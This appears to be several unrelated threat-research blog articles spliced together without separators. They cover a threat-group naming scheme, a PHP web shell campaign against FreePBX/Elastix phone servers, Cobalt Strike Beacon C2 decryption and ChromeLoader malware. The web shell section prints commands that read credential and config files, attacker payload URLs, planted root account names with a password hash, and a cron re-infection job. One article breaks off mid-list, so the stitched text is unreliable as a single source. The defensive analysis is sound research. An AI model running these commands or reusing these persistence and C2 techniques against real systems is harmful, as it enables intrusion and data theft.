We chose a new schema that conveys information about the threat group using the name, and these names are based on the constellations we see in the night sky. Each name consists of two parts, the name of a constellation (such as Taurus), and a modifier word. Each constellation represents an overarching category of threat groups, and the modifier word is used to distinguish between groups within that category. Some constellations will denote categories of threat groups focused on monetary gain and hacktivism and others will denote nation-state threat groups focused on espionage.
Here is the decoder ring for the constellation names in the new system.
Draco = Pakistan
Lynx = Belarus
Pisces = North Korea
Serpens = Iran
Taurus = China
Ursa = Russia
Here are a few examples: A group conducting espionage for which we have high confidence in our attribution to Russia could be named Dancing Ursa. A group conducting a series of BEC attacks could be Scavenger Orion.
The modifier words have no particular meaning; they are simply used to differentiate between groups within the category. We have defined other constellation names for threat groups that don’t fit into the above categories, but the names listed above cover the research we have published to date.
Of course, with many new attacks we investigate, we may not have enough information to attribute the attack to a specific group at first. In these cases we will assign a numeric cluster identifier (i.e., CLU001). We will merge that cluster into a higher level group when we have enough evidence to indicate the activity was conducted by a specific group, or create a new group name in the appropriate category.
What Should You Expect Next?
We are aware that adding new names to the threat group namespace has the potential for creating confusion for the threat intelligence community. We’ve assembled a few questions we expect readers will have about how we will proceed going forward.
Will you be creating new names for all of the threat groups you’ve previously identified?
Over the past few months we have fully remapped our internal “Rosetta Stone,” which identifies the names used by other research teams and connects them as appropriate to our new naming system. Each original name we previously created has a new name. We do not plan to update our former blogs with the new names as they have been referenced in many reports since. In future publications, when we use the new name, we will clearly indicate the previously used name as an alias for the threat group.
Where can I find all of your new threat group names?
The Unit 42 ATOM Viewer contains the updated names for groups we have previously published on.
How do I map a name previously used by Unit 42 to a new one?
When we use a new name in a report, we will include our previously used name as an alias to help readers make the connection.
Does this naming system apply to malware, vulnerabilities, etc.?
The new naming system is only applied to threat groups, sometimes called intrusion sets. We will not use this system for malware, vulnerabilities, campaigns or other types of tools and activity.
Final Thoughts
I’m very excited to share this update with the readers of this blog. Over the last eight years, we’ve published hundreds of reports on threat group activity targeting organizations around the world. This naming change is a reflection not only of our growing threat telemetry, but also our increasing maturity as a threat intelligence organization.
Installing a web shell on a web server is a common approach malware authors take to launch exploits or run commands remotely. In November 2020, the INJ3CTOR3 operation targeted the Sangoma PBX, a popular VoIP PBX system, by installing a web shell on its web server. Recently, Unit 42 observed another operation that targets the Elastix system used in Digium phones. The attacker implants a web shell to exfiltrate data by downloading and executing additional payloads inside the target's Digium phone software (a FreePBX module written in PHP). In terms of the timeline, the web shell appears to be correlated to the remote code execution (RCE) vulnerability CVE-2021-45461 in the Rest Phone Apps (restapps) module.
As of this writing, we have witnessed more than 500,000 unique malware samples of this family over the period spanning from late December 2021 till the end of March 2022. The malware installs multilayer obfuscated PHP backdoors to the web server's file system, downloads new payloads for execution and schedules recurring tasks to re-infect the host system. Moreover, the malware implants a random junk string to each malware download in an attempt to evade signature defenses based on indicators of compromise (IoCs).
Background on Malicious Activity Targeting Digium’s Asterisk
Recently, the WildFire team has observed a high volume of malicious traffic that seems to be originating from the same family of samples. Specifically, we witnessed more than 500,000 unique samples over the period spanning from mid-December 2021 till the end of March 2022. This unusual activity targets Digium's widely adopted open source Asterisk communication software for VoIP phone devices.
Figure 1. IP PBX phone systems rely on SIP Trunking for phone connectivity. Source: https://www.nextiva.com/blog/what-is-ip-pbx.html
Elastix is the largest open source software solution for unified communications server software that brings together Internet Protocol (IP) Private Branch Exchange (PBX), email, IM, faxing and collaboration functionality. It has a web interface and includes capabilities such as call center software with predictive dialing. Its functionality is based on open source projects including Asterisk, FreePBX, HylaFAX, Openfire and Postfix.
FreePBX is the most widely used open source IP PBX software in the world, offering organizations an all-in-one solution. It is freely available to download and install, complete with all the basic elements needed to build a phone system. It is sponsored and developed by Sangoma and a robust global community. It features an intuitive modular graphical user interface (GUI), harnessing the power of Asterisk, making it much easier to deploy and use. digium_phones is a FreePBX module written in PHP.
The malicious activity we recently observed bears similarity to the INJ3CTOR3 report released by Check Point Research two years ago, and could potentially be a resurgence of this attack campaign. A report was posted on the FreePBX community forum in December 2021, followed by another report in January 2022. These reports are consistent with the proposition that this is indeed a resurgence of the previous campaign. For instance, the eight default available commands below were shown in the INJ3CTOR3 report (dated Nov. 5, 2020) in Figure 12, "The attacker’s web panel." These are identical to those listed in the FreePBX community forum thread "K.php - a RestApps malicious script," post 21/74 (dated Jan. 12, 2022), by Denis Soloviov and others.
ls -la
ps -aux --forest
asterisk -rx 'core show channels'
asterisk -rx 'sip show peers'
cat /etc/elastix.conf
cat /etc/asterisk/sip_additional.conf
cat /etc/asterisk/extensions_custom.conf
cat /etc/amportal.conf
Further research shows that our finding could be a consequence of the official announcement of a known security issue, CVE-2021-45461Potential Rest Phone Apps RCE. This vulnerability lies in the Rest Phone Apps (restapps) module, allowing for a URL variable to potentially get passed, resulting in a remote code execution (RCE) scenario.
In this blog, we illuminate the inner workings of the initial dropper shell script, which installs the PHP web shell backdoor and attempts to maintain the foothold inside the target's environment.
Attack Vector
Figure 2. Pie chart depicting the clustering of the sample set into two main groups (Group 1 and Group 2). Group 2 is more dominant.
We were able to broadly categorize our original sample set into two main groups (Group 1 and 2), with one of the groups (Group 2) being further subdivided into two subgroups (A and B). We believe that Group 1 and Group 2 represent different versions of the attack script (Group 2 is the later version). The subgroups A and B indicate two different clusters of targets.
Group
1
2
Heading
ZenharPanel
Ask Master
Submit button label
ZenharR
Ask
Table 1. Table depicting the characteristics of two main groups (Group 1 and Group 2) in terms of Heading and Submit button label.
Figure 3a. Code outline of initial dropper script (variant 1).Figure 3b. Code outline of initial dropper script (variant 2).
The initial dropper scripts are generally small in terms of filesize:
12,750-byte payload fetched from hxxp[://]37[.]49[.]230[.]74/z/wr[.]php
17,215-byte payload fetched from hxxp[://]37[.]49[.]230[.]74/k[.]php
We would typically expect this from a shell script embedding a PHP web shell payload. There are always 14 lines of code, wrapped in multiple layers of Base64 encoding to hide certain key areas, and one of the Base64-encoded payloads was duplicated.
Figure 4. Overview of initial dropper script.
Initial Dropper
The initial dropper is a shell script with two main objectives, namely:
Install the obfuscated PHP backdoor in multiple locations in the file system.
Maintain access by:
Creating several root user accounts.
Setting up a scheduled task to re-infect the host system.
This dropper also tries to blend into the existing environment by spoofing the timestamp of the installed PHP backdoor file to that of a known file already on the system. Furthermore, the dropper belonging to variant 1, as depicted in Figure 3a, fetches and executes a remote script from the attacker's infrastructure: IPv4 address 37[.]49[.]230[.]74.
This IPv4 address is geographically located in the Netherlands. Extracting its past DNS records reveals association to mostly adult-themed Russian domains, such as:
campusteen[.]ru
caramelgirl[.]ru
cumixface[.]ru
cutiebooty[.]ru
gentlepus[.]ru
lopornix[.]ru
megabobox[.]ru
sledporn[.]ru
Super-teen[.]ru
sweetassma[.]ru
At the time of writing, we verified that parts of the attacker infrastructure remain online and are actively serving malicious payloads, particularly:
hxxp[://]37[.]49[.]230[.]74/k[.]php
hxxp[://]37[.]49[.]230[.]74/z/wr[.]php
The following were inactive at that point in time:
hxxp[://]37[.]49[.]230[.]74/z/post/noroot[.]php
hxxp[://]37[.]49[.]230[.]74/z/post/root[.]php
Web Shell
The PHP web shell contains random junk comments, in an attempt to evade signature-based defenses. Additionally, it is wrapped in multiple layers of Base64 encoding, in order to mask its true intent. It is able to handle the following parameters in the incoming web request:
md5
admin
cmd
call
The web shell is protected by a hardcoded "MD5 authentication hash," which seems to be uniquely mapped to the victim's public IPv4 address.
The user-supplied md5 parameter in the incoming web request is required to match this authentication hash before the login is successful and the session is established, such that the user can interact with the web shell.
The web shell is also able to accept an admin parameter, which can either be the value Elastic or Freepbx. Then the respective Administrator session will be created.
Besides supporting arbitrary commands via the cmd request parameter, the following built-in default commands are included:
ls -la
ps -aux --forest
asterisk -rx 'core show channels'
asterisk -rx 'sip show peers'
cat /etc/elastix.conf
cat /etc/asterisk/sip_additional.conf
cat /etc/asterisk/extensions_custom.conf
cat /etc/amportal.conf
Lastly, there is a call HTTP request parameter, which starts a call from the Asterisk command line interface (CLI): asterisk -rx "channel originate Local/'<prs><num>@<context> application wait <time>'"
Configuration File
Another Base64-encoded payload replaces the .htaccess configuration file, in order to enable the behavior "follow symbolic links," as well as render config.php as the default page. .htaccess is a configuration file by an Apache web server, to specify configuration options on a per-directory basis. It contains one or more configuration directives, which apply to that certain directory, and all subdirectories thereof.
Persistence Mechanism
The sample attempts to achieve persistence via the following means:
Creation of root user accounts.
Named sugarmaint, with password uenQjcP3Il/zE
Named supports, with password uenQjcP3Il/zE
Adding a scheduled task entry.
Runs every minute.
Fetches a remote copy of the script from hxxp[://]37[.]49[.]230[.]74/k[.]php
Executes it in the shell.
Conclusion
The strategy of implanting web shells in vulnerable servers is not a new tactic for malicious actors. The only way to catch advanced intrusions is a defense-in-depth strategy. Only by orchestrating multiple security appliances and applications in a single pane can defenders detect these attacks.
Aside from the numerous protections offered across the Palo Alto Networks product suite, WildFire, Advanced URL Filtering and Threat Prevention provide coverage for this family of samples. In particular, Palo Alto Networks customers receive protections in the following ways:
Cobalt Strike is commercial threat emulation software that mimics a quiet, long-term embedded actor in a network. This actor, known as Beacon, communicates with an external team server to emulate command-and-control (C2) traffic. Due to its versatility, Cobalt Strike is commonly used as a legitimate tool by red teams – but is also widely used by threat actors for real-world attacks. Different elements of Cobalt Strike contribute to its versatility, including the processes that encrypt and decrypt metadata sent to the C2 server.
When Cobalt Strike’s Beacon “phones home,” it encrypts metadata – information about the compromised system – with the RSA algorithm public key and sends it to the Cobalt Strike TeamServer. The TeamServer will use the private key to recover the Beacon plaintext metadata to differentiate the Beacon clients. Also, the AES symmetric key can be extracted from decrypted metadata. The client and server can use the AES key to encrypt and decrypt the further request and response data to finish the C2 traffic communication.
In this blog post, we will detail and demonstrate the data encryption and decryption algorithm, key generation and extraction, metadata encryption and decryption, and metadata schema definitions. One of the interesting components is how the encryption and decryption algorithm works during C2 traffic communication – and why this versatility makes Cobalt Strike an effective emulator that is difficult to defend against.
The Cobalt Strike Beacon communicates with the TeamServer using a combination of symmetric (AES) and asymmetric (RSA) encryption key algorithms. The TeamServer will then create a new public/private key combination and store the key pair in a .cobaltstrike.beacon_keys file. The file is stored in the same directory where the Cobalt Strike setup is extracted. If the file already exists, it uses the same key pair.
The asymmetric key algorithm uses RSA/ECB/PKCS1Padding, while the symmetric key algorithm uses the AES/CBC/NoPadding format to encrypt/decrypt the data. The AES algorithm is initialized with a hard-coded initialization vector (IV). The static IV is abcdefghijklmnop.
Figure 1 highlights the C2 traffic between the Cobalt Strike Beacon and the TeamServer.
Figure 1. C2 Communication between the Beacon process and the TeamServer.
Metadata Schema Definition
As the name suggests, metadata contains information about the target. The metadata follows a structured format with the 4-byte magic number (0xBEEF) at the start. Figure 2 shows the metadata structure.
Figure 2. Beacon metadata structure.
The decrypted data is a blob of different information. The structure of the decrypted blob was updated in Cobalt Strike version 4.0, and the Beacon has added more information in the metadata. The size of the data field is 4 bytes long, and this suggests that the author may update the metadata structure in the future. Figure 3 shows the various types of information packed in the metadata. This structure is in accordance with the current implementation.
Figure 3. Metadata schema.
Below is the breakdown of the various data fields in the decrypted data in order.
The first 16 bytes are the random bytes generated by the Beacon and are unique to each process run. The Beacon and TeamServer use these bytes to create the AES key and HMAC key. The process calculates the SHA256 hash of the bytes. The first 16 bytes of the SHA256 are assigned as the AES key for symmetric encryption, and the remaining 16 bytes are the HMAC keys for the message authentication code.
The next two little endian bytes are decoded as ANSI Charset. For the complete list of charsets, refer to documentation on Code Page Identifiers.
Two little endian bytes are assigned to OEM Charsets.
Four big-endian bytes are the Beacon ID, with each Beacon getting a unique ID.
Four big-endian bytes are the Process ID of the Beacon on the victim’s machine.
Two bytes are decoded as the port.
One byte decodes as the flag. In the current implementation of Cobalt Strike, the flag value is used to set the architecture (32/64 bit) of the Beacon.
Two bytes are the Beacon version number. These bytes are converted into a string with a “.” inserted between them. Ex: A.B
Two bytes are decoded as the build version of the Beacon.
The next 4-byte big endian value is used to prefix the pointers to functions if the architecture of the beacon is 64 bit. These 4 bytes are discarded if the architecture is 32 bit.
The following two 4-byte values are the pointers to GetModuleHandleA and GetProcAddress. The value of these will help the shellcode to resolve further functions without being imported explicitly. If the Beacon is 64 bit, the earlier values are prefixed and the entire value is stored in a variable.
Next four bytes are the IP address of the target. The bytes are then converted to an IPv4-readable address.
Last set of bytes are UTF-8, and the values are delimited by \t. As of the current version, the data is structured as ComputerName\tUserName\tBeaconProcessName
Public/Private Key Generation and Extraction
When the Beacon checks in, it will send the metadata blob encrypted by the RSA public key to the TeamServer. The TeamServer uses the private key to decrypt and recover the plain text metadata and extract the AES key along with other metadata used for further communication. This can prevent a meddler-in-the-middle (MitM) attack and evade detection since the AES key is encrypted by asymmetric key, which is extremely difficult to decipher. Additionally, the C2 communication is encrypted by the symmetric key, making it difficult to find a fingerprint to mark it.
When the TeamServer starts with the profile loaded, it generates a public/private key pair and stores them in the .cobaltstrike.beacon_keys file in the TeamServer root directory if the file doesn’t exist.
We can use the key dump Java program shared in GitHub to extract the public/private key. See below for details on how this is done.
1. Public/private key pair stored in .cobaltstrike.beacon_keys as java.security.KeyPair object as Figure 4 shows.
Figure 4. Public/private key pair Java object.
2. Execute the command in Figure 5 to compile and run the Java program in the TeamServer root directory, and then the public/private key pair will be base64 encoded.
Figure 5. Public/private key.
An Example of C2 Metadata Encryption/Decryption with RSA and AES
In the following example, we will discuss how both encryption and decryption work in the context of Cobalt Strike Beacon’s metadata and C2 HTTP traffic communication.
The analysis is of a sample taken from the wild, downloadable directly from VirusTotal (SHA256: 50ea11254f184450a7351d407fbb53c54686ce1e62e99c0a41ee7ee3e505d60c).
The C2 traffic analysis for this example is separated into three sections:
By parsing the configuration using the 1768.py script, it can be shown that the Beacon was generated by a version of Cobalt Strike’s software that has leaked RSA private keys.
Figure 7. Beacon parsing/private key search.
C2 Beacon Heartbeat
Once the Beacon was downloaded and executed, the next step was to perform a C2 checkin on the TeamServer and to exfiltrate encrypted metadata information about the compromised machine inside of the cookie of the HTTP request.
Figure 8. C2 Heartbeat.
In order to decrypt the metadata information, an execution of the cs-crypto-parser.py script (a slightly modified version of the cs-mitm.py script) should be performed and pass the value from the cookie – XjaoBxbLchqKBL/s/m8Pgz/wHRbx660/2Aa8Toa9T/AJ0Ns8mgjPBWdYIL9mEFM1DE/5GXGCSURf6RP+wxo5Zx0G/yENlMTuzPaCO11/XPNxRjj69Nf6++05qe7iMKfg8D4ZFGiEQAVo6UXqUteZlAqubJ+uNZBglsyioa+aSQw= – as a first argument.
RSA Decryption
The first task this script performs is a call to the RSADecrypt() function that receives two parameters: 1) The private key, and 2) The encrypted cookie value. Once this task is completed, it decodes and imports the RSA private key and instantiates a new PKCS1 object. Finally, the script calls the decrypt function and passes the encrypted data variable as argument to perform the actual decryption of the ciphertext.
Figure 9. RSADecrypt function.
The output will show a detailed breakdown of the metadata along with its hex values.
The payload is encrypted using AES256 encryption in CBC mode with an HMAC SHA256-keyed hashing algorithm. Since there is access to the RSA private key and the decrypted data, it includes the raw key. This key is 16 bytes long and is located at the eighth byte of the decrypted payload. In the case of this malware sample, the key (hex) is 1a 13 7e 76 f9 15 6a 67 f9 99 af d6 57 64 75 bd. In order to generate the AES and HMAC keys, the SHA256 hash is computed out of the raw key where the first half (16 bytes) is the actual AES key and the second half (16 bytes) is the HMAC key. Figure 11 below depicts such computation by the execution of the crypto-parser script.
Figure 11. Encryption/decryption hash and keys.
C2 Task Request
Once a C2 channel is established and the checkin action is in place, the Beacon performs a check or any new tasks. In Figure 12, you will see that the task request received a response payload from the TeamServer.
Figure 12. C2 task request (retrieval).
The payload data of 48 bytes is now passed to the script to get decrypted. The last 16 bytes of the encrypted blob is the HMAC Signature that acts as an integrity measure for the request. FIgure 13 below shows the data parsing and decryption of the task payload.
By using the same Decrypt() function mentioned above, the encrypted payload is also provided. However, for a Cobalt Strike task response, the first four bytes are not considered for decryption, resulting in those bytes being excluded in the data passed to the function.
The task data response contained in this request corresponds to the ASCII string BOBSPC\\Administrator, which is the machine and user of the compromised computer.
Conclusion
Cobalt Strike is a potent post-exploitation adversary emulator. The metadata encryption/decryption detailed above are elaborate and are designed to evade security detections. A single security appliance is not well-suited to prevent a Cobalt Strike attack. Only a combination of security solutions – firewalls, sandboxes, endpoints and the appropriate software to integrate all these components – can help prevent an attack of this nature.
Palo Alto Networks customers receive protections from attacks similar to those by Cobalt Strike with the help of:
Next-Generation Firewalls (NGFW) with Threat Prevention signatures 86445 and 86446 identify HTTP C2 requests with the base64 metadata encoding in default profiles. Advanced Threat Prevention has new capabilities to detect these attacks without the need for signatures.
WildFire, an NGFW security subscription, and Cortex XDR identify and block Cobalt Strike Beacon.
In January 2022, a new browser hijacker/adware campaign named ChromeLoader (also known as Choziosi Loader and ChromeBack) was discovered. Despite using simple malicious advertisements, the malware became widespread, potentially leaking data from thousands of users and organizations.
Instead of more traditional malware like a Windows executable (.exe) or Dynamic Link Library (.dll), the malware authors used a browser extension as their final payload. The browser extension serves as adware and an infostealer, leaking all of the user’s search engine queries. We discovered significant changes and additions of capabilities throughout this campaign's evolution, and we predict further changes as this campaign continues.
In this article, we examine the technical details of this malware, focus on the evolution between its different versions and describe changes in its infection process. This article also reviews new variants that have not yet been publicly reported.
Palo Alto Networks customers using Cortex XDR and WildFire receive protections against this newly discovered malware out of the box.
Names for malware discussed
ChromeLoader, Choziosi Loader, ChromeBack
Introduction to ChromeLoader Malware
ChromeLoader is a multi-stage malware family. Each variant contains different stages throughout its infection chain, but the infection chain often looks quite similar among the different variants, including malicious browser extensions used in all variants.
The different payload extensions we tracked had a hardcoded version added by the attacker. This labeling routine contributed to the research process, linking the different versions to the same campaign – and by their correct chronological order.
The various extension versions are related to different variants of this malware. We differentiate the variants not only by the related extension version but also by the techniques used throughout their infection chain and the targeted operating systems.
The different variants are mentioned in this article by their detection order and referenced throughout this document as follows:
Variant 0: Named that way since it was active before Variant 1 (the first variant that was discovered in the wild). It used AutoHotKey (AHK)-compiled executables and version 1.0 of the Chrome extension. Its first known attack occurred in December. In this article, this variant is discussed fourth (in the section titled “The Real First Windows Variant”).
Variant 1: Mentioned first (beginning in the “Infection Vector” section). It used versions 2.0-4.4 of the Chrome extension as its payload and a DotNet executable that launches obfuscated PowerShell as its dropper. It was mainly active in January.
Variant 2: Mentioned third (see the section “Second Windows Variant”). It uses the 6.0 version of the Chrome extension and uses an obfuscated executable as its initial dropper. It has been active since March.
MacOS Variant: Mentioned second (see the section “MacOS Variant”). This variant focuses on MacOS computers (while other variants target Windows users only). Uses the 6.0 version of the extension. Active since March.
Figure 1. The infection chain of the different variants.
Infection Vector (Variant 1)
The first variant of ChromeLoader Malware (referred to in the Introduction as Variant 1) was first seen in January 2022.
The chain of events starts when a user is enticed to download a torrent or a cracked video game through malvertising campaigns on ad sites and social media platforms. The user scans a QR code on these web pages and is redirected to a compromised website that presents an ISO image (an optical disc image file, typically used with CD/DVD). The user downloads the ISO image, mounts it by double-clicking and executes content contained in the mounted ISO image.
Figure 2. An example of a QR code posted on Twitter.Figure 3. An example of a download link to the malicious ISO image from the QR code.
Deployment
The downloaded ISO image contains the following:
Microsoft.Win32.TaskScheduler.dll: a legitimate .NET DLL signed by Microsoft, used by other .NET programs for integrating with the scheduled tasks mechanism.
Language folders: contains a resource file used by the mentioned DLL.
CS_installer.exe and its config file: malicious executable written by the malware authors (note that the name might change from one version to another). In some versions, the authors (probably accidentally) left its PDB file, containing its debug data, inside this folder as well
_meta.txt: a text file found in advanced versions of this malware, containing scrambled ASCII letters.
Most files in this directory are hidden, and the ordinary user will not notice them when opening this directory using Windows File Explorer. The only non-hidden file is CS_installer.exe, which tempts the victim to double-click it to complete the software installation download.
Figure 4. An example of a mounted malicious ISO image (after selecting “show hidden files”).
The victim launches CS_installer.exe by double-clicking it. In most cases, the executable presents the message shown below in Figure 5, indicating that the program failed to execute. However, this is an attempt by the authors to mislead their targets.
Figure 5. Message box presented by the dropper, designed to deceive the user.
The executable is a non-obfuscated program written in .NET, so .NET reflectors can decompile it to read the source code. The code shown in Figure 6 is revealed when the executable is loaded into a reflector. This code creates a scheduled task configured to execute a malicious base64 encoded PowerShell command every ten minutes. The task name is constructed from the Chrome string concatenated with a random suffix from the namesDict array.
Figure 6. An example of decompiled CS_installer.exe source code.
The script content derives from the _meta.txt file, unscrambled by the following predefined function below in Figure 7, which applies simple character replacement.
Figure 7. An example of the unscramble function.
Some of the features mentioned were missing in earlier versions of this variant of the malware. For instance, in the version shown in Figure 8, which was discovered only one week before the version mentioned in Figures 6 and 7, the authors did not use a descramble function but simply hardcoded the encoded PowerShell script in the .NET executable and used the predefined ChromeLoader name for their task instead of generating a more randomized suffix.
Figure 8. An example of source code from an older version of Variant 1.
The attacker uses the encoded PowerShell script for downloading and loading a malicious browser extension into the user’s Chrome browser.
Figure 9. An example of variable definition in the PowerShell dropper.Figure 10. An example of a payload download attempt.Figure 11. An attempt to load the payload into the user’s browser.
Figure 11. An attempt to load the payload into the user’s browser.
The evolution from early versions of this malware to later ones is also seen in the encoded PowerShell script. Figure 12 shows PowerShell script executed by an earlier version of this variant, which is significantly shorter and contains less complicated code.
Figure 12. An example of an older version of this PowerShell dropper.
Dropper Statistics
ChromeLoader attacks on Palo Alto Networks Cortex XDR customers were blocked by our Behavioral Threat Protection module starting from the first day of this campaign. However, we were curious about the following stages of this attack. Consequently, we decided to continue our research, tracking down the attacker’s footprints and intentions.
The scheduled task is using the malware to download a malicious Chrome extension and installing it to the victim’s browser. The URL hosting the Chrome extension is hardcoded in the obfuscated PowerShell command and changes between the different versions.
Figure 13. First infection attempt for installation servers.Figure 14. Installation server connection attempts distribution.Figure 15. Blocked infections per region.Figure 16. Infection attempts per day per installation server during the Variant 1’s most active time.
Payload
The payload of the malware is a Chrome extension – every downloadable extension has the same format:
Figure 17. An example of the downloaded extension files.
Using some definitions in the manifest file, and using a known legitimate picture, the extension claims to be legitimate and harmless. However, the extension asks for elevated privileges. Requested privileges include accessing browser data, manipulating web requests and accessing every possible URL address, which legitimate browser extensions would not do.
Figure 18. An example of a downloaded extension’s manifest file.
The Javascript file conf.js declares constant variables, which will use the main script background.js later. The C2 domain is stored in _ExtDomNoSchema.
Figure 19. An example of a downloaded extension’s conf.js file.
background.js is a one-line JavaScript file containing all of the extension’s functionality; it is heavily obfuscated but can be converted to readable JavaScript code in a short series of steps. However, any attempt to deobfuscate this code using known public JavaScript deobfuscation tools will fail due to reasons which will be detailed later.
Figure 20. An example of a downloaded extension’s obfuscated background.js file.
This script uses various obfuscation techniques to hide its purpose and malicious code. One of the first functions executed is responsible for copying standard JavaScript functions and objects into new objects with scrambled names, which will later use the script for decoding the final payload, located in this script's last instructions.
Figure 21. An example of the renaming mechanism. For instance, in this case, the String object is stored as b4VV.
During the entire execution of this script, the authors use switch-case-oriented programming to make their program harder for malware analysts to read and understand.
Figure 22. An example of switch-case-oriented programming.
The program loops using the E3 variable shown above in Figure 22 and acts differently for each value. When the relevant flow in the switch case has ended, the program changes the value of E3 to its next instruction. The program also uses the obfuscated object names mentioned previously. In Figure 22, we added the original object name in a comment below the relevant code line.
After understanding the obfuscated names and switch-case-oriented programming, we can better analyze the purpose of this code section. It uses a hardcoded four-sized array of integers, translating it to the associated ASCII characters and sorting it by randomized order. Later, this array will be joined to a string, and the program will search for a defined function in that name. The execution flow will start over if the function isn’t found.
This stage reveals another obfuscation technique in the script. One of the key features used by standard deobfuscation tools is dropping unreferenced functions and objects. Often, it helps to shorten the code, leaving out complicated parts which will never actually run – removing functions whose whole purpose is to mislead a malware analyst. However, in this case, using deobfuscation tools drops an essential function, and the script will be stuck in an endless loop without it.
The function h0QQ is not directly referenced even once during the script execution. Yet, the previously mentioned code section using a randomized sort algorithm will eventually attempt to execute it, since h0QQ is a permutation of the 0hQQ string. If h0QQ does not exist, the code simply tries to sort the characters and repeatedly looks for a function name.
Figure 23. An example of the unreferenced crucial function.
This function returns a long scrambled string, XORed by a hardcoded key, and then splits into an array of strings.
Figure 24. An example of a deXORed array containing strings used by the malware.
The malware eventually uses these strings to decode its malicious code. It references the string at the relevant index in this array instead of hardcoding the string name in the code.
Figure 25. An example of the malware usage of the deXORed array to decode its final payload. You can also see that the malware doesn’t use integers as the array’s indexes but strings combined with arithmetic operations.
We exported the mentioned list members after utilizing a debugger to execute the initialization code. Then we used a Python script to deobfuscate the remaining sections of the JavaScript code.
Figure 26. A script used for deobfuscating background.js.
Infostealer and Adware
For communicating with the malicious extension, the authors used command and control servers (C2s), which are different from the installation server used for installing the extension previously. The malware uses various extension features, giving it a strong foothold in the user’s browser.
Figure 27. An example of alerts installed by the malware.
When the extension is installed, it adds two Chrome alarms (alarms allow the developer to install a callback / scheduled task that will be triggered periodically). When these alarms are triggered, two corresponding functions are being called:
When the ad alarm is triggered, the extension asks the C2 for an advertisement and presents it in a new tab.
The hb callback is triggering functions that communicate with the C2, informing it of the current state of the execution.
Figure 28. An example of the malware’s reaction when its alerts are triggered.
Another interesting activity can be seen in the code shown in Figure 29. The extension installs a listener, which allows it to intercept every outgoing request, and uses it to check whether the request was sent to a search engine – Google, Yahoo or Bing. If it does, the extension will send the search details to the C2, leaking the victim’s thoughts and interests.
Figure 29. An example of browser hijacker capability.
In addition, the extension uses different mechanisms to verify that it executes properly. For example:
A hard-coded header named dd for each outgoing packet to the C2. This could be used by the C2 to identify the different distribution channels/affiliates.
Figure 30. An example of the added dd header.
Cancelling search suggestions, probably in order to make sure that the search queries were intended by the user.
Uninstalling existing Chrome extensions from the browser. It also sends the names of the extensions to the C2 and gets back an allowlist json, in order to exclude chosen extensions from being removed.
Disabling every attempt to access chrome://extensions and open chrome://settings instead to prevent the user from uninstalling this malicious extension.
Version Control
Most malicious extensions contained a file named conf.js alongside the main Javascript code stored at background.json. This conf.js (or manifest.json, or background.js file if conf.json is missing) file stores relevant configuration for the extension: the C2’s hostname (e.g., krestinaful[.]com and tobepartou[.]com), the verification header’s value of dd, the extension name, and its version. It seems like the version information is accurate – there are several differences between the versions we saw (2.0, 3.0, and 4(.0,.3,.4)). (For our observations on the relationship between variants and versions, please see the “Introduction” section.)
Version 2.0 (First seen Jan. 4, 2022):
Missing functionality:
No advertisements for victims.
Search engine query gathering from Google only.
No deletion of existing browser extensions.
Version 3.0 (Jan. 6, 2022):
Added functionality:
Search engine queries are now gathered from Yahoo and Bing as well.
SetWithExpiry() and GetWithExpiry() functions added and used for storing variables (i.e., query URL) and deleting existing extensions, respectively.
Existing extensions deletion mechanism.
4.* versions (Jan. 7, 2022):
Added functionality:
More obfuscations throughout the script.
Chrome advertising mechanism added.
Changed the hardcoded C2 URL.
Chrome alert mechanism.
MacOS variant
In March 2022, a new variant emerged targeting MacOS users. This variant remains active and uses similar techniques to install its payload and hide its actions. It uses the same infection method of directing victims to compromised pay-per-download websites to install its dropper.
In this case, the dropper is a disk image (DMG) file – the MacOS implementation for ISO files – containing several files, including one bash script. The bash script resembles the scheduled PowerShell script in multiple manners:
Downloads the payload – a browser extension from a remote installation server.
Loads the payload into the target’s browsers – Google Chrome and the built-in Safari browser.
Figure 31. An example of an early version of the MacOS installation script.
In more advanced cases, instead of hardcoding the download execute portion in the bash script, the authors encoded these commands in a separate file, then decoded and executed by the bash script using OpenSSL.
Figure 32. An example of a later MacOS installation script.
The downloaded extension functions were similar to those used in the Windows OS versions. The MacOS variant uses the same obfuscation method to execute the same vital components – gather search engine queries and present advertisements. In addition, new C2 addresses were used in this version.
Based on the version number of the malicious extensions delivered by this variant, the attackers reference the MacOS variant as later than the Windows variants, which fits the timeline of infections in this campaign. In our research, the extensions found with this variant were labeled as the 6.0 version of this malware.
Second Windows Variant (Variant 2)
In March 2022, several weeks after the last known infection of Variant 1, we identified a new campaign with multiple similarities to the first one, which makes us believe that we are actually facing another variant of the same ChromeLoader malware, referred to in this blog as Variant 2.
The infection vector for this Variant 2 is identical to Variant 1. Users are enticed to download a torrent or cracked video game through malvertising campaigns on pay-per-install sites and social media.
ISO images used for Variant 2 contain new executables. Victims would only see a Windows shortcut, which they would double-click to install the desired software or watch the movie.
Figure 33. An example of a malicious mounted ISO.
However, the ISO image contains other hidden files executed when the victim launches the Windows shortcut (.lnk file). The .lnk file simply runs a batch script named resources.bat. The script, in turn, extracts the contents of app.zip into %APPDATA%. The zip archive contains an executable named Tone.exe, which is eventually stored into a registry run key by the batch script, making the infection persistent.
Figure 34. An example of the LNK file configuration.Figure 35. An example of resources.bat content.
Like Variant 1, Variant 2 installed the same type of Chrome extension. The malware launched a cmd.exe process, which in turn executed powershell.exe. The PowerShell process executed WMI queries, used for installing a new scheduled task named chrome *, launching another encoded PowerShell command.
Figure 36. An example of a causality chain when the malware installs a scheduled task.
When analyzing the above-mentioned obfuscated PowerShell script, we were faced with a script used as a dropper. This script doesn’t directly install a new Chrome extension, so it does not exactly match Variant 1’s PowerShell script pattern. However, the structure and use of variables resembles the behavior of Variant 1.
Figure 37. An example of the installed schedule task script content after decoding.
Using XQL queries, when the installation server is available, the PowerShell script creates and loads the familiar malicious Chrome extension (the 6.0 version, used in the latest MacOS variant).
Figure 38. An example of the files downloaded by the encoded PowerShell.
The Real First Windows Variant – December 2021 (Variant 0)
Due to its multiple infection incidents, this malware family has drawn worldwide attention in the cybersecurity community.
As mentioned earlier, we detected different versions of this malware during our investigation. Each version was labeled not only by us but also by the malware authors themselves. The earliest labeled version we detected was 2.0. Therefore, we were confident that this wasn’t the first time these attackers struck, and we were determined to expose the actual first version of this malware.
Due to the attackers’ history of frequent payload updates, we were convinced that the first infection case occurred relatively close to the currently reported infection case in January 2022.
Pivoting over the installation server domains used for the Variant 1 PowerShell dropper revealed that another piece of malware used some of these domains as its installation servers in December 2021.
This malware was an executable file written using AutoHotKey (AHK) - a framework used for scripting automation.
